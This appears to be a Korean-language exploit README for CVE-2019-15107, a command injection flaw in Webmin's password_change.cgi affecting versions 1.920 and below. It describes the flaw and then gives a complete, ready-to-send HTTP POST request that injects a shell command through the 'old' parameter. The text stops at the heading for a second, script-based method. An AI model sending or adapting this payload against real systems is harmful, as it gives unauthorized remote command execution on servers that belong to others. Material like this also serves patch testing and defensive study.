WebminRCE-EXP-CVE-2019-15107-

CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin

1. 취약점 설명 Webmin은 유닉스 시스템에서 널리 사용되는 강력한 웹 기반 시스템 관리 도구입니다. Webmin의 Password_Change.cgi가 요청을 처리하는 과정에서 old 매개변수에 명령 주입 취약점이 존재하여 공격자가 악용할 수 있습니다. 사용자가 Webmin 비밀번호 재설정 기능을 활성화하면, 공격자는 이 취약점을 이용해 취약한 시스템에서 임의의 명령을 실행하고 시스템 셸을 획득할 수 있습니다.

영향받는 버전: Webmin 1.920 이하 버전

2. 취약점 악용 방법 1: 수동 탐지 페이지에 접속한 후, 인증서를 무시하면 Webmin 로그인 페이지를 볼 수 있습니다.

다음 데이터 패킷을 전송하면 id 명령을 실행할 수 있습니다:

POST /password_change.cgi HTTP/1.1 Host: your-ip:10000 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Cookie: redirect=1; testing=1; sid=x; sessiontest=1 Referer: https://your-ip:10000/session_login.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

방법 2: 스크립트 활용